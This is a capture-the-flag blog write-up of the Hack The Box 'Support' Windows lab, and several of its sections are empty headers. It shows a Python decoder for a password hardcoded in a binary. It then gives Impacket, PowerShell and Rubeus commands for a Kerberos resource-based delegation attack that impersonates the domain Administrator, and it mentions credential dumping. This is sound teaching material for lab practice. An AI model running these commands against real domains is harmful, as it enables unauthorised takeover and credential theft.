Support HTB Walkthrough

Sep 6, 2024    #box   #htb   #easy   #windows   #ldap   #csharp   #rbcd   #kerberos   #machineaccountquota  

Intelligence Hack The Box Support Walkthrough/Writeup:

How I use variables & wordlists:

1. Enumeration:

Standard Nmap Scan to get a lay of the land:

In Depth Scan Complete:

Checking For LDAP Anonymous bind:

_

SMB Enumeration:

Connecting Via Null & Guest sessions:

Connecting to SMB:

UserInfo.exe Binary Enumeration:

Running Strings On it:

Running the binary itself:

As it’s a windows binary we can either run it in windows or use Wine, as I run Arch (btw), as my host OS I am going to run it via Wine in my WM.

  1. Lets check if the binary is 32 or 64 bit:
      • We can see it’s 32bit so we need to install 32bit support for wine also.
    • Detour, Lets install Wine on Kali Together:
      • If you haven’t installed Wine in Kali before you need to follow the below steps:
        • +Note+: Remember when we ran strings on the binary and we saw it was using v.4.8 of the .NET framework, well we need that information here to ensure we have the correct version running.
          # This is the what enables 32 bit architecture.
          sudo dpkg --add-architecture i386
          sudo apt update
          sudo apt install wine
          # This is what installs the wine 32 bit libraries
          sudo apt install wine32:i386
          winecfg
          # This is just a nice easier way to work with wine.
          sudo apt-get install winetricks
          winetricks dotnet48
          # This is not wine based but we will need this to use LDAP (thank me later)
          sudo apt install winbind
          
Running the Binary & Monitoring Traffic with Wireshark:

De-compiling the Binary with ILSpy:

As I can’t see any traffic generated from the binary, which is odd as it does seem to be using LDAP parameters, I will de-compile the binary to see if there are any hard coded credentials/useful information within it.

We will use ILSpy to de-compile. It’s a cross platform tool that enables us to de-compile .NET programs.

What is ILSpy?:

_

Install ILSpy:
Discoveries:

Finding the password string:

Finding the function:

Decoding the logic:

So this took me on a deep dive as I had no idea what was going on & had to decode this function line by line:

Static elements:
Function/Method Explanation:

Coding a Decoder in python:


import base64  # Importing the base64 module to handle base64 encoding and decoding

from itertools import cycle  # Importing the cycle function from itertools to cycle through the key

# Decoding the base64 encoded string into bytes.
encPassword = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")

# Defining the key as a byte string which will be used in the XOR operation for decryption.
key = b"armando"

# Defining the hexvalue "0xDFu" key as an integer value. For our second round of XOR
key2 = 223

decryptedPass = ''

for byteEncPass, byteKey in zip(encPassword, cycle(key)):

    decryptedPass += chr(byteEncPass ^ byteKey ^ key2)

# Printing the final decrypted result.

print(decryptedPass)
Code Breakdown:
Running the script and get the password:

2. Foothold:

Enumerating the Domain using LDAP:

Finding Passwords in User Fields:

Connecting with Evil-WinRM:

3. Priv-Esc:

Enumerating the domain with bloodhound:

GenericAll privileges on the domain controller.

Resource Based Constrained Delegation Crash Course:

Key Differences from Basic Constrained Delegation:
Why It’s Important:

The attack, Kerberos Resource-based Constrained Delegation - Computer Object Takeover:

The attack (High Level):

  1. We are going to create a fake computer on the domain.
  2. Configure RBCD by setting the msds-allowedtoactonbehalfofotheridentity to allow our computer to act on behalf of the DC.
  3. Perform & S4U attack to get a kerberos ticket on behalf of the administrator.
  4. Pass the admins ticket to get RCE on the target.

Attack Requirements:

Requirement 1 - Ensure we can add machines to the domain:
Requirement 2 - A target computer:
Requirement 3 - Admins on the domain:
Requirement 4 - There must be at least One Domain Controller running Windows Server 2012 or newer in the environment.
Requirement 5 - The msds-allowedtoactonbehalfofotheridentity must be empty:
Requirement 6 - Various Fake Machine Requirements:

4. Ownership:

Performing the Attack:

1. Add the Computer:

  1. Create the computer using Impacket:

    • impacket-addcomputer -computer-name 'bloodstiller' -computer-pass 'hackme' -dc-ip $dcip support.htb/support
  2. I verify the computer was made using PowerView:

    • Get-AdComputer -identity bloodstiller
      • +Note+: be patient, this can hang for a number of seconds!
    • I also grab the SID of the computer as we will need this moving forward:
      • S-1-5-21-1677581083-3380853377-188903654-6101

2. Modify the msds-allowedtoactonbehalfofotheridentity value on the target:

  1. Configure RBCD Using Sharpview

    1. Verity the PrincipalAllowedToDelegateToAccount value is empty:

      • Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount
    2. Add our computer as to the PrincipalAllowedToDelegateToAccount value:

      • Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount bloodstiller$
      • +Note+: be patient, this can hang for a number of seconds!
    3. Verify the attribute is set:

      • Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount
      • It should now contain our fake computer name
  2. Verify the msds-allowedtoactonbehalfofotheridentity value has changed:

    • Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity

    • We can see it has but it’s just a series of numbers? It’s RAW bytes which we need to convert back to the SID to verify it works.

      $TargetComputer = "DC.support.htb"
      $RawBytes = Get-DomainComputer $TargetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
      $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
      $Descriptor.DiscretionaryAcl
      
      • As we can see the AceType is set to AcessAllowed
        • AceType: Represents the type of Access Control Entry (ACE) in the Access Control List (ACL).
          • In this case, the value is AccessAllowed, meaning it grants permission to the associated SecurityIdentifier.(SID).
        • And it has the SID from the fake machine we made earlier so therefore it means that the ACE is set to allow our machine to act on behalf of the domain controller DC.SUPPORT.HTB
    • Minor recap:

      • We have created a fake machine on the domain.
      • We have configured our machine to act on behalf of DC.SUPPORT.HTB

3. Craft Kerberos Ticket with Rubeus for local admin on DC01:

  1. Retrieve the password hash that was used to create the computer object:

    • .\Rubeus.exe hash /password:hackme /user:bloodstiller$ /domain:support.htb
      • Breakdown:
        • hash: Instructs Rubeus to extract a hash.
        • /password:hackme: Specifies the password for the user (hackme).
        • /user:bloodstiller$: Specifies the username of the account we want the password for (bloodstiller$).
          • +Note+: we have the $ as this is a machine account
        • /domain:support.htb: Specifies the domain (support.htb).
    • We need this so we can craft tickets.
      • Hash = 601EAB3FDFB146C4ECD8F800C987D621
  2. Generate Kerberos tickets for the Administrator by peforming the S4U attack:

    • .\rubeus.exe s4u /user:bloodstiller$ /rc4:601EAB3FDFB146C4ECD8F800C987D621 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt /nowrap
      • Breakdown:
        • s4u: Service for User functionality, used to request a service ticket for a user.
        • /user:bloodstiller$: Specifies the user (bloodstiller$), (usually a service account).
        • /rc4:601EAB3FDFB146C4ECD8F800C987D621: The RC4-HMAC key (NTLM hash) for the user (bloodstiller$).
        • /impersonateuser:Administrator: Specifies the user to impersonate (Administrator).
        • /msdsspn:cifs/dc.support.htb: Specifies the SPN (Service Principal Name) for the service to request a ticket (CIFS on dc.support.htb).
        • /domain:support.htb: Specifies the domain (support.htb).
        • /ptt: Pass-the-ticket option to inject the resulting ticket into memory for immediate use.
        • /nowrap: Ensures the ticket is not Base64-encoded (used for better formatting).
          • No idea why nowrap is not standard for the output…

4. Root…..right?

5. Convert our tickets for use on Linux:

5. Pillaging/Persistence:

Lessons Learned:

What did I learn?

  1. I learned about XOR and reverse engineering the encryption.
  2. I was rusty on kerberos so took me some time to get my head around RBCD again as I haven’t done it in some time.
  3. I re-learned about S4U attacks as it had been some time.

What silly mistakes did I make?

  1. I was an idiot and didn’t change my hosts file for ages after a box reboot and couldn’t figure out why my LDAP binds were not working.
  2. Should have dumped NTDS prior to running LaZagne.exe & Secrets-Dump.

Thoughts:

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at proton dot me



Next: Return HTB Walkthrough